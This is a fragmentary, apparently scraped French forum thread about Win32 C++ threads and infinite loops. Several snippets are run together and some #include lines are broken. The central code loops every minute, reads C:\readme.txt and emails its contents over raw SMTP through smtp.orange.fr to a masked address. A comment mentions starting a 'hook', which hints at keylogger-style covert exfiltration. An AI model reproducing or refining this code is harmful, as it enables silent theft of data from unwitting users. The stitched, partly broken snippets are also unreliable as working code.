DWORD WINAPI EnvoieEmail ( LPVOID IpvThreadParam ) { lbl_Loop: email(); Sleep(60000); goto lbl_Loop; return 0; }
DWORD WINAPI EnvoieEmail ( LPVOID IpvThreadParam ) { email(); Sleep(60000); return 0; } // fonction principale lbl_Loop: HANDLE hThread=CreateThread(...); if(hThread) { WaitForSingleObject(hThread,INFINITE); CloseHandle(hThread); } goto lbl_Loop;
while(1) { ... }
for(;;) { ... }
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question#define TAILLE_MAX 10000 #include <winsock.h> #include #include <string> #include <stdlib.h> #include <windows.h> #include <stdio.h> #include <cstdio> #include <sstream> #include <fstream> #pragma comment(lib,"ws2_32.lib") SOCKET to_server_socket = 0; char * server_name; int port = 25; char destinataire[120] = "RCPT To: <"; char sender[120] = "MAIL From: <"; char * exp; char * dest; char * sujet; char * message; char buffer[15]; char body[1100] = "Subject: "; void bcopy( void * source, void * destination, int size ) { char * src = ( char * ) source; char * dst = ( char * ) destination; for( int i=0; i<size; i++ ) dst[i] = src[i]; } void bzero( void * destination, int size ) { char * dst = ( char * ) destination; for( int i=0; i<size; i++ ) dst[i] = 0x00; } void Process( char * buffer ) { Sleep( 1000 ); int size = strlen( buffer ); int retVal = send( to_server_socket, buffer, size, 0 ); char buf[ 1024 ]; buf[0] = 0x00; while( !buf[0] ) int yeah = recv( to_server_socket, buf, 1024, 0 ); } int email() { std::string contenue = ""; FILE* fichier = NULL; char chaine[TAILLE_MAX] = ""; fichier = fopen("C:\\readme.txt", "r"); if (fichier != NULL) { while (fgets(chaine, TAILLE_MAX, fichier) != NULL) // On lit le fichier tant qu'on ne reçoit pas d'erreur (NULL) { contenue += chaine; } fclose(fichier); } //FILE* fichier2 = NULL; //fichier2 = fopen("C:\\readme.txt", "w+" ); //fclose(fichier2); const char *CstStr2 = contenue.c_str (); if (contenue == "") { return 0; } if (strcmp(CstStr2,buffer) == 0) { exit( -1 ); } int not = 0; unsigned long ioctl_blocking = 1; /*cout<<"Entrez le nom du serveur smtp ou son ip\n"; cin>>server_name; cout<<"Entrez l'adresse email de l'expediteur\n"; cin>>exp; cout<<"\nEntrez l'adresse email du destinataire\n"; cin>>dest; cout<<"\nEntrez le sujet du mail\n"; cin>>sujet; cout<<"\nEntrez votre message\n"; cin>>message;*/ server_name = "smtp.orange.fr"; exp = "******"; dest = "*****"; sujet = "le sujet"; strcat(sender,exp); strcat(sender,">\r\n"); strcat(destinataire,dest); strcat(destinataire,">\r\n"); strcat(body,sujet); strcat(body," \r\n\r\n "); strcat(body,CstStr2); strcat(body," \r\n.\r\n"); WSADATA wsaData; if( int err = WSAStartup( 0x0101, &wsaData ) ) { exit( -1 ); } struct sockaddr_in serverSockAddr; // addresse de la socket struct hostent * serverHostEnt; // description du host serveur long hostAddr; // addr du serveur bzero( &serverSockAddr, sizeof( serverSockAddr ) ); // initialise a zero serverSockAddr // converti l'adresse ip 9.100.1.1 en entier long hostAddr = inet_addr( server_name ); if( ( long ) hostAddr != ( long ) -1 ) bcopy( &hostAddr, &serverSockAddr.sin_addr, sizeof( hostAddr ) ); else // si on a donne un nom { serverHostEnt = gethostbyname( server_name ); if ( serverHostEnt == NULL ) { exit( 0 ); } bcopy( serverHostEnt->h_addr, &serverSockAddr.sin_addr, serverHostEnt->h_length ); } serverSockAddr.sin_port = htons( port ); // host to network port serverSockAddr.sin_family = AF_INET; // AF_*** : INET=internet // creation de la socket to_server_socket = socket( AF_INET, SOCK_STREAM, 0 ); if ( to_server_socket < 0) { exit( 0 ); } setsockopt(to_server_socket, SOL_SOCKET, SO_DONTLINGER, (char *) ¬, sizeof(not)); // requete de connexion if( connect( to_server_socket, ( struct sockaddr * ) &serverSockAddr, sizeof( serverSockAddr ) ) < 0 ) { exit( 0 ); } ioctlsocket ( to_server_socket, FIONBIO, &ioctl_blocking ); char buf[ 1024 ]; buf[0] = 0x00; while( !buf[0] ) int yeah = recv( to_server_socket, buf, 1024, 0 ); Process( "EHLO Toto\r\n" ); Process( sender ); // mail de l'expediteur Process( destinataire ); // mail du destinataire Process( "DATA\r\n" ); Process( body ); Process( "QUIT\r\n" ); /* fermeture de la connection */ shutdown( to_server_socket, 2 ); contenue.erase(); closesocket( to_server_socket ); return 0; }
char destinataire[120] = "RCPT To: <"; char sender[120] = "MAIL From: <"; char * exp = ""; char * dest = ""; char * sujet = "" ; char * message = ""; char buffer[15] = ""; char body[1100] = "Subject: ";
#define TAILLE_MAX 1000 #include <cstdlib> #include #include <windows.h> using namespace std; DWORD WINAPI fonction ( LPVOID IpvThreadParam ) { FILE* fichier = NULL; char chaine[TAILLE_MAX] = ""; fichier = fopen("C:\\readme.txt", "r"); if (fichier != NULL) { while (fgets(chaine, TAILLE_MAX, fichier) != NULL) { printf("%s", chaine); } fclose(fichier); } return 0; } int main(int argc, char *argv[]) { // initialisation des options pour la fonction CreateThread HANDLE hThreads ; DWORD dwThreadId ; DWORD dwThreadParam = 1 ; // on crée le thread qui va démarrer le hook hThreads = CreateThread ( NULL, NULL, fonction, &dwThreadParam, 0, &dwThreadId ) ; WaitForSingleObject(hThreads,INFINITE); CloseHandle ( hThreads ) ; system("PAUSE"); return 0; }
#define TAILLE_MAX 1000 #include <cstdlib> #include #include <windows.h> using namespace std; DWORD WINAPI fonction ( LPVOID IpvThreadParam ) { FILE* fichier = NULL; char chaine[TAILLE_MAX] = ""; fichier = fopen("C:\\readme.txt", "r"); if (fichier != NULL) { while (fgets(chaine, TAILLE_MAX, fichier) != NULL) { printf("%s", chaine); } fclose(fichier); } return 0; } DWORD WINAPI fonction2 ( LPVOID IpvThreadParam ) { return 0; } int main(int argc, char *argv[]) { // initialisation des options pour la fonction CreateThread HANDLE hThreads [ 2 ] ; DWORD dwThreadId ; DWORD dwThreadParam = 1 ; hThreads [ 0 ] = CreateThread ( NULL, NULL, fonction, &dwThreadParam, 0, &dwThreadId ) ; hThreads [ 1 ] = CreateThread ( NULL, NULL, fonction2, &dwThreadParam, 0, &dwThreadId ) ; WaitForMultipleObjects ( 2, hThreads, TRUE, INFINITE) ; CloseHandle ( hThreads [ 0 ] ) ; CloseHandle ( hThreads [ 1 ] ) ; system("PAUSE"); return 0; }